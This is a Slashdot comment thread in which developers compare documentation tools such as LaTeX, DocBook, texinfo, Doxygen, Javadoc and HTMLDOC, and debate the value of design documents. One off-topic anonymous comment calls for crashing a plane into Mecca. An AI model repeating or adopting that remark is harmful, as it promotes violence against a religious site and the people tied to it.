      1. A few pages of broad overview docs. Something that gives the big picture in a few pages can save me days of work trying to figure out how several thousands classes go together. Note that a five-hundred page overview document is generally worse than no documentation at all.
      2. Single-paragraph descriptions for packages and classes. A little basic info plus known caveats is optimal.
      3. One-sentence method descriptions for those methods whose names don't make it completely obvious, and
      4. Beautiful, readable code, where names are apropos, coding conventions are followed, flow control is clear, and no method/function is longer than fifty or so lines, and
      5. Unit tests, so that I can know what the code is supposed to do, not what you happened to make it do.
      Which is basically the kind of code that followers of XP produce. So if you're already doing that, swell; tell your managers to get lost if they demand you document every setName method. But most people don't. And most of the coders I see bitching about how they don't have time to document are the ones who write code that really, really needs documentation.
    27. Re:Documentation is not evil! by Anonymous Coward · · Score: 0

      > While this information might be interesting, it is not useful! It means nothing to the end product, or to even maintenance of the code. If you have done any type of maintenance to code you know the only way to do it is to read the code!

      And if you've ever done any maintenance on an extensive system, you know the value of those design docs in ensuring you know what that code's supposed to do, not just what it does. Helps point out places where the original design is still usable, and where it's in need of updating. Just walking the code won't do it unless you build that 'big picture' in your head as you go, and that can be quite the time-waster (read: $$$$$$$-waster).

    28. Re:Documentation is not evil! by Anonymous Coward · · Score: 0

      It's a bit of both. If you work for a libraries group (as I do), then it's important to define an interface, and get everyone (i.e. people who are gonna use the libs) to agree on this, prior to starting coding. So the public specs for functions/classes/methods, etc. should be nailed down as well as can be, before work starts. The 'behind the scenes' stuff, doesn't need such detailed documentation.
      Yes - specs can & do change, but this inevitability should not negate the need to (try to) design as good an interface as possible in the first place!
      If your interface spec is changing frequently, I would suggest that the spec was flawed in the first place...

      It's a tightrope - you need to design & document, but only to the extent that it enhances the efficiency of your project. Too little or too much can result in people being bogged down, either trying to work out someone elses design, or spending all of their time writing docs which will never get read!

    29. Re:Documentation is not evil! by Syberghost · · Score: 2

      Lets look at how a house is built, is all of the time spent in spec and design. Do they write a document outlining how the tub will be installed in the top floor bedroom?
      No, they provided a picture of what they want. (Detailed mind you, but still is just a picture.) From that the construction company builds it. The builders never get a step by step checklist.


      That's how mine was built. And it came out great, as a result. Immediately appraised for more than I paid for it.

      And their results are predictable and repeatable. Very few of their houses don't turn out great.

    30. Re:Documentation is not evil! by Thorson · · Score: 1

      coldtone wrote, "Lets look at how a house is built, is all of the time spent in spec and design. Do they write a document outlining how the tub will be installed in the top floor bedroom? No, they provided a picture of what they want. (Detailed mind you, but still is just a picture.) From that the construction company builds it. The builders never get a step by step checklist."

      Wrong. For a house designed by an architect (as opposed to one designed by a builder or "shudder" a developer) the vast majority of time is spent in the design and developing detailed lists of every piece of hardware, cabinets, doors, windows, etc. in the whole place. True enough, the builder isn't told how to install a tub, but, he damn sure better use the exact tub from the spec list located exactly where the drawing says it should go.

      As for builder or developer designed houses, they are designed for ease of construction and conservation of building material. The design process may be just as arduous as for an architect designed house. The difference? The builder/developer re-uses the same set of design documents for each house built. Thus the apparent lack of design and specification.

      Remember, the builder knows how to build, just as a programmer knows how to program. Telling either how to do the job is useless. On the other hand, telling them what to do is very much necessary.

      Peace
      Marty

    31. Re:Documentation is not evil! by winchester · · Score: 1
      Furthermore, your initial design will probably be flawed in many ways you don't anticipate until you start trying to implement it. Unless you're copying an algorithm out of a textbook or a design you've used before, you'll be lucky to be even close to your final design on your first pass. As a result, your design will evolve.


      Thsi is where design patterns come in, my dear. Reusble design is a good thing. Also, the liberal use of analysis patters will help you avoid making those flawed design decisions.

      Welcome to the 21st century, where reuse rules.

    32. Re:Documentation is not evil! by Anonymous+Brave+Guy · · Score: 2
      Thsi is where design patterns come in, my dear. Reusble design is a good thing.

      However, most of the value in design patterns is in the "fine-tuning" stage of your design process, as you've got the basics worked out and you're trying to tidy things up. While design patterns certainly can suggest an initial plan as well, IME it's a bad idea to aim for a particular design pattern as a goal in its own right.

      Also, the liberal use of analysis patters will help you avoid making those flawed design decisions.

      Sure, and next week my client will give me requirements that are at least roughly what the finished ones will be, right at the start of the project. ;-)

      Welcome to the 21st century, where reuse rules.

      (Code) reuse is largely a myth, propagated by theoreticians and PHBs with little real experience. (Design) reuse, as typified by successful design patterns, is a more useful concept, but as noted above, it really comes into its own when you're tidying up and -- dare I say it? -- documenting the design you've chosen, rather than in forming your initial design. The trick, of course, is to make sure that whatever design you come up with is easily maintainable and responsive to changing requirements, and design patterns are one tool in the armoury for this purpose.

      Welcome to the 21st century, where the ability to adapt to rapidly changing requirements is the difference between a thriving business and a dead one...

      --
      If you disagree, post your argument. (-1, Overrated) isn't your personal censorship tool for views you don't like.
  14. doxygen. by Anonymous Coward · · Score: 0
    We use doxygen and it works quite nicely.

    couple with a few other tools you can easily generate html, rtf, info, man and pdf files.

  15. TeX? by whee · · Score: 1

    I'm sure TeX or LaTeX with a few custom macros could simplify the process a bit, as well as provide multiple output formats.

    Personally, I use LaTeX for everything now; there's tons of packages available for whatever you might happen need to do.

    1. Re:TeX? by elmegil · · Score: 2

      And while TeX of various flavors is not WYSIWYG, there *are* whizzy-wig editors that save to TeX flavors. I haven't tried using one in ages, so I can't make any recommendations, but if editing macros is an impediment to you, you should check it out. TeX results are excellent for publishing as a book as well as generating HTML etc.

      --
      7 November 2006: The day Americans realized corruption and incompetence weren't addressing 11 September 2001
    2. Re:TeX? by Anonymous Coward · · Score: 0

      I also use LaTeX for everything.

      One can create PDF docs that dont have those fonts that look jagged on the screen (under Acrobat reader) by making sure that ghostscript is at least version 6.52 and using the following commands:

      latex foo.tex
      dvips -Ppdf foo.dvi
      ps2pdf foo.ps

    3. Re:TeX? by Anonymous Coward · · Score: 0

      although I must opine that having a gsview window
      open that is watching the .ps file is pretty damn close to what you see is what you get editing.

      my office mate even has a make setup, where saving the .tex file causes make to crank out some .ps output. i just hit control c a couple of times in emacs.

      also, for windows, MikTek is the best setup I've used. but i don't use windows anymore...

  16. Docbook tools by Anonymous Coward · · Score: 0

    I use docbook. Once you get a handle on it and make some staring templates, it is the way to go.
    SGML was designed for tech docs.

  17. No question - use LaTex by gcshaw2nd · · Score: 1

    LaTex isn't very difficult once you know a few basic commands, outputs to text, dvi, and pdf, and basically meets all the criteria for which you are looking - namely it does everything in ascii text. Think about Tex like emacs or vi - it's a great tool once you get used to it. It IS your solution.

    1. Re:No question - use LaTeX by jasone · · Score: 1

      I struggled for a long time with documentation formats for Onyx, and also eventually settled on the combination of latex, pdflatex, and latex2html. Using these programs, I was able to generate documentation in PostScript, PDF, and HTML, without feeling like compromises had been made for any of the three formats. Setting up the document infrastructure was a painful process, but the results are IMO very nice.

    2. Re:No question - use LaTeX by CaptainCarrot · · Score: 2

      And for the text editor itself, may I recommend NEdit? It's got a bunch of nifty customizable syntax-highlighting features, and LaTeX is among the built-in syntaxes. I use it for programming too, on VMS no less, where it works just fine.

      --
      And the brethren went away edified.
    3. Re:No question - use LaTeX by jstheriault · · Score: 1

      I agree. I use LaTeX to produce design docs, interface control documents and user manuals. I distribute PDFs (I use pdflatex) and HTML (latex2html). With LaTeX, I spend my time writting content, with MSWord, I spend my time mucking about with formatting and trying to make it generate proper paragraph numbers and tables of contents.

    4. Re:No question - use LaTeX by sunhou · · Score: 1

      I've been using LaTeX for about 13 years or so, and really like it, now that I'm mostly past the learning curve. :-) I use it to write my research papers, as well as course materials. For my classes, since most of my students use Windows (but I use Linux), I recently started using ps2pdf to generate PDF output (after running latex, then dvips) to put on the course web page. But the output looks really horrible on-screen, although it prints out OK.

      Anyway, I just tried pdflatex, it looks much better. However, I often include EPS (Encapsulated PostScript) files in my LaTeX documents, and pdflatex can't deal with them. The docs for dvipdfm also seem to indicate that it can't deal with embedded EPS files. So I guess I'm still stuck with ps2pdf...

    5. Re:No question - use LaTeX by Dekel · · Score: 1
      I recently started using ps2pdf to generate PDF output (after running latex, then dvips) to put on the course web page. But the output looks really horrible on-screen, although it prints out OK.
      See the TeX FAQ for a solution for this.
      However, I often include EPS (Encapsulated PostScript) files in my LaTeX documents, and pdflatex can't deal with them.
      Pdflatex supports inclusion of PDF files. You can convert an EPS to PDF using epstopdf, or you can set up pdflatex so it will make the conversion automatically. Read the docs.
      The docs for dvipdfm also seem to indicate that it can't deal with embedded EPS files. So I guess I'm still stuck with ps2pdf...
      dvipdfm CAN handle EPS files.
    6. Re:No question - use LaTeX by sunhou · · Score: 1

      Thanks for the tips; I was hoping someone would prove me wrong. I looked into this about 1.5 years ago and didn't find anything, and hadn't gone back searching again.

      However: I installed dvipdfm, but found that it shifts included EPS files (after the first one) down so they overwrite the text. As for the info in the TeX FAQ, after trying various suggestions in it without success, it looks like I need to upgrade my version of Ghostscript. I'm running RH 6.2, and when I grabbed the RPM for Ghostscript 6.5, it failed on a whole pile of dependencies, so I guess I'll save that for a rainy weekend.

      I also didn't know aobut epstopdf, and gave that a shot, and it worked beautifully (with pdflatex), so maybe I'll get in the habit of using that for now, until I get Ghostscript upgraded.

  18. texinfo by phr2 · · Score: 3, Interesting

    Call me a throwback or GNU-head but I like texinfo. The stuff you type reflects the structure of your document, it's plain ascii (easy to edit with emacs or your favorite editor), and compiles to online docs, html, or printed docs using TeX. It does make some impositions on your writing style but I find the texinfo formatting commands much easier to deal with than (say) html tags. I use it even when I want plain ascii docs. I just don't put in any "node" commands. Then I run the texinfo doc
    through the emacs formatter and use the formatted ascii output.

    So, it's old and limited but still my favorite.

    1. Re:texinfo by Jason+Earl · · Score: 3, Interesting

      Texinfo isn't at all limited. In fact, it rocks. It has most of the advantages of LaTeX, it generates beautiful looking html, cross-referenced pdfs, gorgeous postscript, and info files to boot. And the Texinfo-mode for Emacs does most of the tricky bits for you. It builds the menus, makes sure the links all go to the right places, etc. etc.

      For computer documentation I personally prefer it over LaTeX (and that's saying a lot).

  19. Re:Drugged detainees by Anonymous Coward · · Score: 0

    Or better yet, crash the plane into Mecca!

  20. Doxygen by dan+g · · Score: 3, Informative

    It depends on your specific needs. Are you documenting the source or documenting program usage? For the former, doxygen may be useful to you. Generates HTML and LaTeX, amongs other formats.

    dan.

  21. And after you're done? by Anonymous Coward · · Score: 0

    I have been charged with writing lots of documents, some smaller some larger, most of them documenting programs I wrote myself.

    That sounds suspicious to me. When all of your code is documented, you'll become expandable. Some might even say that writing documentation is like writing your own layoff proposal. Watch your back.

    1. Re:And after you're done? by RazzleFrog · · Score: 2, Funny

      When all of your code is documented, you'll become expandable

      Is that because you'll sit back and eat lots of twinkies? I think the word you are looking for is expendable.

    2. Re:And after you're done? by broody · · Score: 1

      The same could be said for writing poorly documented code that infurates the end users and is under utilized because it is misunderstood. I would take the route of easy to maintain and well documented over the path of obscure and undocumented on a trip to the land of job security any day.

      I will freely admit that my last contract ended quickly when everything was ironed out but in the long term I am willing to bet a commitment to quality pays off.

      --
      ~~ What's stopping you?
  22. JavaDoc? by FortKnox · · Score: 5, Informative

    Find something similar to Javadoc (unless you code in Java). Rational has a great set of suites to also document projects.

    And I don't think "documenting" is the worst part of programming. Its very sterotypical.
    I love design, and document while coding (usually in Java with Javadoc comments). Isn't that the way you are supposed to code?

    Especially in a team environment (even more "especially" with Open Source), documentation is critical. Having a good design documented well is how developers should interact with one another.

    Also check TogetherSoft. They have software that creates the UML while you code.
    I also like Together's identification of titles. A "Developer" is someone that designs, codes, and documents. A "Coder" is someone that codes. Which are you?

    --
    Good quote, too many chars. Seriously, the slashdot 120 char limit sucks!
  23. Docbook, docbook, docbook. by seebs · · Score: 5, Informative

    I'm doing a bunch of documentation right now, and I *LOVE* docbook. I agree, it's a bit of a pain to set up; we started with openjade as a basis, and worked from there.

    Still, I love the format; it's clear, it's precise, and it's very well-suited to documentation.

    BTW, I'd like to point out that, if you think documentation is the worst part of programming, you're probably not writing very good documentation. Documentation can be a lot of fun. Think of it as a way to make sure that you won't have to do the maintenance later, because anyone will be able to do it based on your writing. :)

    --
    My blog: http://www.seebs.net/log/ --- My iPhone/iPad app: http://www.seebs.net/seebsfrac/
    1. Re:Docbook, docbook, docbook. by PlazMan · · Score: 4, Informative

      I have to second that. DocBook can be a pain to get started with and learn, partially because it's soooo flexible and powerful. I probably spent a week getting all of the pieces together (editor, DTDs, Xalan, XSL, etc), but now I find it quite easy to churn out anything from a full reference manual to some simple man pages.

      I finally found Morphon's XML Editor and have been quite happy with it for editing DocBook documents (despite the fact that it's currently a beta version that will crash once in a while).

    2. Re:Docbook, docbook, docbook. by hackerhue · · Score: 4, Informative

      I agree. I love docbook. If you can write HTML, chances are you can do docbook. It's plain text, so you can edit it in whatever program you want to.

      It's a bit of a pain to set up, but once it's going, it's great (much like most of Linux, I find ;-) ). I use Jade -- openjade seems to be slower, and I couldn't see any advantage of openjade over Jade.

      My only complaint about docbook is that it (currently) doesn't do math too well -- I use Walsh's stylesheets, and they don't seem to grok MathML yet -- so I have to stick with LaTeX for some things still. Oh, and its table support doesn't seem to be complete when using the TeX backend, so things may come out in unexpected ways.

      --

      To get something done, a committee should consist of no more than three persons, two of them absent.

    3. Re:Docbook, docbook, docbook. by Arandir · · Score: 2, Informative

      It's not that big of a pain to set up if you have a decent distro that's done the work already. I use FreeBSD, and getting a DocBook environment set up is trivial. It's equally simple under Debian. Slackware has a single package in contribs. Etc.

      If your distro doesn't have a docbook package then it can be a major hassle building and setting it up from scratch.

      --
      A Government Is a Body of People, Usually Notably Ungoverned
    4. Re:Docbook, docbook, docbook. by seebs · · Score: 2

      A good point. I was doing the first round of getting it running under BSD/OS; it won't be nearly that much work next time. :) We also needed a few supporting tools, such as jadetex.

      --
      My blog: http://www.seebs.net/log/ --- My iPhone/iPad app: http://www.seebs.net/seebsfrac/
    5. Re:Docbook, docbook, docbook. by Anonymous Coward · · Score: 0

      Your home page contains sentence "grammar checkers that flag good grammar as bad, and give even worse grammar as suggestions ".
      You don't need "even" there. In fact it does not make sense at all in that context.

  24. versioning by motherfuckin_spork · · Score: 2, Interesting
    versioning is a crucial element to not just documentation, but to methodology as well, in particular with the field I am in, being the pharmaceutical industry. You must be able to see how things like analytic methods have progressed, specifically when moving from development to production. I can easily see parallels between this and programming.

    --
    Nope, not me, I must be someone else...
  25. No fame by RC514 · · Score: 1

    Writing documentation is a tiresome and, what's worse, an unglorious job. Rarely do people talk about how great the documentation was and how much it helped them in succeeding. Everybody loves the programmer who adds a feature. Nobody knows the writer who explained it. If we want better documentation, that has got to change. I know I was very eager to create even better documentation when I received compliments about it.

    --

    1. Re:No fame by Antipop · · Score: 1

      Every time someone talks about PHP I make a comment about how great the documentation is. It's free, it's clear, it gives examples, it's just great all around. Kudos to the PHP writers!

      PHP Online Docs

  26. Possible solution by Fembot · · Score: 2, Insightful

    HTMLDOC appears to serve your purpouse. It appears only windows binaries are avalible however but the sourcecode is avalible under the GPL

    1. Re:Possible solution by zendeath · · Score: 1

      I don't recommend using HTMLDOC for any professional task..

      All your documents need to be written in simple
      HTML, and conversion to PDFs is a PITA: Sometimes tables don't work, fonts fuck up, etc...

      Avoid.

      --
      ceci n'est pas une signature
  27. About Microsoft Documentation @# +4 : Bingo #@ by Anonymous Coward · · Score: 0

    Where can I find documentation about
    Microsoft Craporation software that doesnt
    follow the following pattern:?

    topic a: See topic b.

    topic b: See topic a.

    Thanks in advance,
    Defeat Bush in '02.

    1. Re:About Microsoft Documentation @# +4 : Bingo #@ by RazzleFrog · · Score: 1, Informative

      How about doing a search on google? I've yet to come across a question/problem that somebody else hasn't had. I typically start by searching the regular sites and then switch to the newsgroups (groups tag on google).

    2. Re:About Microsoft Documentation @# +4 : Bingo #@ by JamesOfTheDesert · · Score: 1
      Where can I find documentation about Microsoft Craporation software that doesnt follow the following pattern:? topic a: See topic b. topic b: See topic a.
      Right here.
      --

      Java is the blue pill
      Choose the red pill
    3. Re:About Microsoft Documentation @# +4 : Bingo #@ by rjb · · Score: 1

      Yeah. I usually find my question
      of the day has been asked time and again.

      And no one answered.

    4. Re:About Microsoft Documentation @# +4 : Bingo #@ by RazzleFrog · · Score: 1

      That's a good point. I have had that happen before too but not nearly the norm.

  28. What about Robohelp? by mr.buddylee · · Score: 1
    1. Re:What about Robohelp? by Anonymous Coward · · Score: 0

      > What about Robohelp?

      It's 75% Word macros. It's not fast. I've used it before...owwwwwwwwwww.

  29. convert simple html to pdf by uncadonna · · Score: 2, Informative
    htmldoc is here .

    This works nicely on very simple HTML (tables, images, font sizes and blockquotes), and is open source. I use it for purposes similar to those requested by the submitter. I write HTML in HotMetal (an easy to use Dreamweaverish thing on Windows) then run it through htmldoc on linux to get a PDF. As far as I can tell you have to settle for Times Roman, Helvetica and/or Courier in the text output. It handles jpegs and non-transparent gifs as well.

    It seems to be abandonware, but it's a handy tool to have around.

    ----

    --
    mt
    1. Re:convert simple html to pdf by printman · · Score: 3, Informative

      Abandonware? Quite the opposite!

      HTMLDOC downloads regularly surpass all of our other products combined, and we are actively developing it to support newer stuff like CSS1/2, XHTML, Unicode text, embedded fonts, etc.

      Best of all, of course, is that HTMLDOC is (and always shall be) open-source software, with commercial support for those that need it.

      --
      I print, therefore I am.
  30. LaTeX seemed the simplest way by StormC · · Score: 5, Insightful

    I've been writing documentation for a little while now and LaTeX always seemed the best way to solve the problem. You can make nice pdf and print version. Yes it takes some time to get use to and most WYSIWYG people don't like it but it rocks in CVS.

    1. Re:LaTeX seemed the simplest way by klund · · Score: 5, Informative

      You can make nice pdf and print version. Yes it takes some time to get use to and most WYSIWYG people don't like it but it rocks in CVS.

      In addition to producing HTML and PDF with latex2html and pdflatex, there are some other features in TeX/LaTeX that appeal to code monkeys like me.

      1. Real include files. For example, you can write a mission statement page that gets included in the front of all your documents. When the mission statement changes, you only have to update it in one place, and all your documents reflect the change.

      2. \ifthenelse{}{}{} conditionals. This is really handy when combined with the include files above. I have one set of source files that produce three completely different (but related) documents based on a few \def statements. For example, one's for internal use only and one's for wide release, but I only have to fix typos once.

      3. Define (\def) statements. I keep version numbers and product names here. PHB says "We just changed the product name from "iCrap" to "eCrap". No problem. It's even easier than search-and-replace.

      4. Comments. I comment the source files the my LaTeX documents. Most the time it's just snide remarks, but sometimes I leave useful comments behind.

      %% The behavior described in the next paragraph
      %% used to be a bug. Now we charge extra for it.

      --
      My word processor was written by Stanford Professor Donald Knuth. Who wrote yours?
    2. Re:LaTeX seemed the simplest way by BbMaj7 · · Score: 1

      Also note that doxygen (IMHO the best tool for interface documentation) will easily output to LaTeX as well as creating HTML, man pages and even M$ help files.
      If you do use LaTeX, which is probably a sensible thing for any printed doc, then using doxygen for the interface and implementation (ie. code) documentation is natural fit.

      If you intend to have an online component then using something like docbook or SGML is probably more sensible because it's easier (IMO) to convert from XML (eg SGML, docbook) to LaTeX than the other way around.

      These components are complimentary.
      If you do decide to write docbook take a look at LyX. It's awesome for writing LinuxDoc and DocBook documentation as well as straight LaTeX.

      --
      -- Rich
    3. Re:LaTeX seemed the simplest way by Anonymous Coward · · Score: 0

      Moreover, \LaTeX allows for very powerful
      cross-referencing in a natural way and is highly structured. Say you have at some point a section:

      \section{Here is the section!}
      \label{mysection}

      then later on you want to refer to this section,
      you can say "take a look at section \ref{mysection} located on page \pageref{mysection}". Doesn't \LaTeX look and
      feel logical? (especially if you're a programmer!)

      The best part is that it even generates html (with latex2html) and pdf (with pdflatex) which are cross-referenced and hyperlinked!

      \LaTeX is definitely superb!

    4. Re:LaTeX seemed the simplest way by Linuxathome · · Score: 1
      The best part is that it even generates html (with latex2html) and pdf (with pdflatex) which are cross-referenced and hyperlinked!


      While this is true. I have one contention with latex2html--it does not follow included files. I have my document broken down to multiple files, each to a chapter. And in the main tex file, I've added the \include{chapter1} etc. where I want the chapters to appear. When I try to latex2html the main tex file, it burps and spits out an error saying it doesn't like included files. I don't want to go through the hassle of cutting and pasting all the text in the chapter files into my main file to get this beast to work. Other than that, in pdf format, the document looks great.

    5. Re:LaTeX seemed the simplest way by klund · · Score: 2

      I have one contention with latex2html--it does not follow included files. I have my document broken down to multiple files, each to a chapter. And in the main tex file, I've added the \include{chapter1} etc. where I want the chapters to appear. When I try to latex2html the main tex file, it burps and spits out an error saying it doesn't like included files.

      Don't use \include{}. Use \input{} instead.

      \include{} is a holdover from when LaTeXing a document would take a *long* time and use valuable and expensive CPU time on your timesharing account. With a fast, single-user desktop machine, there is no reason to use the ugly \include{} and \includeonly{} hacks.

      latex2html works just fine with \input{}.

      --
      My word processor was written by Stanford Professor Donald Knuth. Who wrote yours?
  31. Another Great Benefit of Java by Enonu · · Score: 3, Insightful
    Javadocs are one of the best resource I have at my disposal for documenting my programs and reading the documentation of others. It's a wonder something like this wasn't in mind for every major language ever conceived. Never seen them before in action? Here's a link to the docs on Sun's website. Upper left corner is the specific package you want (like namespaces). The default view is all classes. Lower left is the classes for the current package chosen. The main frame contains the specfic documentation for that class. Everything is hyperlinked to everything else, so getting from one relevant document to another is cake.

    I believe there are other systems that implement a Javadoc like utility for other language. Do a google for "Javadoc for C++" for example and plent of links show up.

    1. Re:Another Great Benefit of Java by Anonymous Coward · · Score: 0

      my favorite javadoc-like documentation tool for C++ is Joe Linoff's CCDOC. One of the best freeware tools around!

  32. Wiki by Big+Sean+O · · Score: 3, Informative

    Try a Wiki.

    A fairly simple web application that allows a group to work on documentation together. Since it uses simple formatting rules, it's trivial to learn.

    It's the simplest way I know to let a workgroup develop a document.

    They have Wiki's that run on Perl, Python, Smalltalk, and PHP so it's easy to find one that you can modify to your heart's content.

    Most of the advanced wiki's have all types of bells and whistles (Eg: version control, authenicated users). Some of the wiki's can dump everything from the Wiki database to static HTML or TXT for further processing (which is nice when you actually want to publish).

    --
    My father is a blogger.
    1. Re:Wiki by LL · · Score: 1

      And combine this with a template generator such as Lout (http://www.ptc.spbu.ru/~uwe/lout/) for the permanent stuff and you effectively get documentation on demand. Users will type in questions,queries,quotes (of source code) and once the issue is resolved (think of it as a dynamic form of literate programming) can be rendered to hard copy for permanent archiving/case-study/how2, etc ...

      LL

  33. Re:Drugged detainees by Anonymous Coward · · Score: 0
    Fucking moron.

    You don't understand sarcasm, do you?

    What kind of a civilised nation drugs the suspects, makes them face military justice of a foreign civilisation and may even execute them (something the most, if not all, western nations frown upon!)?

    I bet you'd agree to torture as well?

  34. Simple Document Format by anxious · · Score: 1
    Take a look at Simple Document Format at http://www.mincom.com/mtr/sdf/. It's very similar to Perl's POD (which you should also look at), but does more. You can easily convert from SDF to
    • HTML
    • Plain text
    • Postscript
    • LaTeX
    • RTF

    and more.
    1. Re:Simple Document Format by Anonymous Coward · · Score: 0

      So where are you supposed to download this? The download links point to
      this, which does not contain the program.

  35. Word isnt that great with big docs! by mercuryPeltier · · Score: 1

    The main problem with Word is once you start reaching large manual size it starts faltering over the size of the doc as it likes to keep the whole thing in memory at once. If you are an advanced user then using the master / sub documents is a nice way around this - and follows all the object oriented principles of abstraction at the same time ;-)

    Some of the best editors I have found for manual documentation tend to be code editors with folding capability - being able to fold a document on various heading types is invaluable!!

    --
    --*--*-- The Eagle sneers at the Peacock
    1. Re:Word isnt that great with big docs! by Anonymous Coward · · Score: 0

      Except that the master/sub documents feature doesn't work correctly. Try using autonumbered lists in your subdocuments and you'll see what I mean.

    2. Re:Word isnt that great with big docs! by mercuryPeltier · · Score: 1

      Must say I've never had any problems with the autonumber features in Master/subs - as long as you use multiple level lists and know how to use them properly (which I will admit is one whole lot harder than it should be!!)

      --
      --*--*-- The Eagle sneers at the Peacock
  36. Custom Format by Anonymous Coward · · Score: 1, Interesting

    In most of my projects, i write documentation into the code (think javadoc) and use the perl software for generating man pages from that. But that's only for documenting code.

    If you're writing actual user documentation, i'd suggest using a flat text format with some delimeters in it, and then use perl to process that into HTML, TeX, or whatever intermediate format you'd like, and then process that into your PDFs using any of the available tools.

    Pros: you control the entire process, so it comes out just how you want it. the filters you write can be stored in CVS right next to the documents they're run against, so you can track changes easily

    Cons: you have to use Yet Another Language. you have to maintain things. you lose the "look and feel" of certain generators.

    overall, i like the tradeoff, but i'm also notorious for being picky about things being Mine.

  37. I used cvs/php/pdflib/any_old_db by Anonymous Coward · · Score: 0

    Basically, what we did is had all cvs check ins mirror to our postgresql database. There was a quickly hacked internal web site that would display the latest version of each document. In addtion, we had a link that run our script to make a pretty-print version as pdf or post-script output. I don't know of any easy to install package that does this, but setting this up didn't take much of our time. Good luck!

  38. javadoc works well for Java code by AirHog · · Score: 2, Insightful
    The Java Development Kit from Sun comes with the javadoc tool. It extracts comments from specific locations in your source (/** */ -style comments) and produces HTML documentation. It has a plug-in architecture for support of other output formats. Sun provides plug-ins for FrameMaker and a couple of other formats, or you can write your own.

    I have automated its use on several projects. Make a cron job that:

    • Gets a copy of the latest sources from CVS
    • Runs javadoc against the fresh sources
    Each morning you'll have up-to-date documentation.

    -Andy

    1. Re:javadoc works well for Java code by matt[0] · · Score: 1

      The ANT build tool contains a built in Javadoc task, we are able to build up to date Javadoc that way. It is also possible to write tasks for generating docs from other sources, Tex for example.

      --
      --------- Matt
  39. gobeProductive 3.0 by tswinzig · · Score: 2

    I'm using gobeProductive 3.0.2 on Windows (they have or will have a Linux version). It's like a light-weight replacement for MS Office, done by the same team that did Claris Works for the Mac.

    The word processor is very easy to use, and can save in the gobeProductive format, as well as Word, HTML, PDF, RTF, and plain text.

    The office suite also has spreadsheet, graphics, image processing, and presentation software.

    http://www.gobe.com/

    --

    "And like that ... he's gone."
  40. Try sticking with TeX by pemerson · · Score: 1

    When I wrote my thesis in College, I went through a similar process of trying to figure out what to use on a Linux platform. For the thesis, the choice was fairly clear: TeX and friends (I used LaTeX). It might seem a bit overkill to use for documentation, but I'd recommend giving it an extended try.

    The Good: You can use CVS on your .tex|.bib files; they're raw text. You can take your tex files and convert to HTML and postscript with ease.

    The Bad: You're learning a new markup language.

    The Ugly: My thesis, when converted to HTML, didn't look very good because all of the math equations got turned into gifs. However, things may have changed since then (1997) and since you're writing documentation, it may be a non-issue.

    1. Re:Try sticking with TeX by Anonymous Coward · · Score: 0

      one of the times when reading slashdot really profits

      cos i was trying to decide whether to use tex (or latex) and now i know it's actually a markup language (fine). i thought it was just like a primitive wordy processor with extensions

      qegoitqey2@hotmail.com

      (working on solaris playing on linux uses windows disks as coffee mats)

      viva la revolucion!
      down with microsoft!
      hasta la vista baby
      manjana
      mint juleps all round!
      whoopeee!

      :)

    2. Re:Try sticking with TeX by Anonymous Coward · · Score: 0

      things have gotten a bit better---try htlatex
      (i think that's what it is called). the link is on the www.tug.org page. there are a few flavors. one flavor uses mozilla's mathml abilities to generate and embed mathml into your html. the usual flavor just cranks out gifs for your math, by running latex, generating a ps file, then transforming the ps file into a gif somehow.

  41. Hi, Mr. Troll. by Anonymous Coward · · Score: 0

    If Word crashes for you, I don't want you near any documentation projects, let alone actual code.

    Jesus. Word crashing. Anyone who does that deserves a freakin' Darwin.

  42. I totally agree! by Anonymous Coward · · Score: 0

    "The Native Americans must resolve their differences with Pakistan peacefully!"- George W. Bush

  43. Word and CVS? by bill0r · · Score: 1

    I would prefer a simple ASCII only format as the source for being converted to more complex formats anyway, especially since it could be easily put into CVS for version management (Anybody tried that with MS-Word documents? Don't!)

    So what's the problem again? You can't put word documents in CVS or you don't recommend it? We have been using CVS to store documentation in binary format for a long time now, and we have never had a problem.

  44. Ever Try Easy Office by betanerd · · Score: 0

    http://www.e-press.com

    MS Word (Semi) Compatable, HTML and Adobe PDF Support

    Download for free


    _

    --
    Insert sig here (slashdot) Insert cig here (Lewinsky)
  45. LyX - best of both worlds by movement · · Score: 1

    The benefit of using
    LyX is that it can do both LaTeX and DocBook
    output. That means it can basically export to any
    useful format you might need (although MS-Word
    .doc output might be a little awkward).

    Don't discount DocBook just because it's a pig to
    install and set up, it is a professional and pretty
    well-designed documentation solution. Talk to the
    LinuxDoc people if you don't believe me (who,
    incidentally, are still considering making LyX the semi-official
    application for editing their HOWTOs).

    But then, I'm biased.

    --

    --
    -- Remove the trailing '\0' to email me.
  46. Doxygen by Anonymous Coward · · Score: 0

    The best one I've used is Doxygen, by Dimitri van Heesh. This was developed for the KDE project. It is free too, which is hard to beat.

  47. HTMLDOC by X-Nc · · Score: 1
    You should also look at HTMLDOC. It will (from the web site) -
    • Convert HTML files to PDF or PostScript
    • Generate a table-of-contents for books
    • Generate indexed HTML files
    • Generate files on-the-fly for web applications, from the command- line for batch jobs, or from a GUI for interactive work.
    It might not be the silver bullet but it can help you with making various formats for your docs.
    --
    --
    If I actually could spell I'd have spelled it right in the first place.
  48. Crashy! by Anonymous Coward · · Score: 0
    They specified this application in particular as crashy - this probably means that others are not crashy.

    If one application is crashy then that means that, in all probability, that it's the applications fault. We're not talking about a 3d game where they might rely on a bunch of unstable libraries - MS Word sticks to the path and is quite beautiful and simple in it's interface with the OS. But it crashes more than other software, undoubtably.

    1. Re:Crashy! by Anonymous Coward · · Score: 0

      But it crashes more than other software, undoubtably

      I can doubt that all I want. Truth be told I have less problems with Office than I do with products such as Netscape, Adobe Acrobat, Real Player, etc.

    2. Re:Crashy! by Anonymous Coward · · Score: 0

      Well that's resume material, "wrote software that's not as buggy as Real Player"

  49. irony by Anonymous Coward · · Score: 0

    The trick is to fill your documentation
    with irony. Pity the poor user, and be
    ironic about it. =)

  50. HTML, LaTeX, LyX., Word... by Faramir · · Score: 5, Informative

    A few notes from my experience:

    HTML: easy to write, easy to format. HTML TIDY will make everything beautiful for you. HTML actually prints very nicely. I believe most browsers will let you turn off the default page header/footers. I can see, however, that page breaks might be an issue. You'll probably want to use style sheets anyway, and there's a feature in CSS2 that allows for defining page breaks (Paged Media documentation). Also see Converting HTML to other formats.

    LaTeX: Personally, I'm a big fan of LaTeX. Never tried pure TeX. However, once (if!) I master the CSS2 paged media commands, I'll probably abandon LaTeX. I don't know that one's really any easier than the other; it's just comes down to the simple fact that I know HTML better.

    LyX: I found this very non-intuitive and gave up on it quickly. As I recall, the tab key did not work as I expected it, and various things just weren't what I expected them to be.

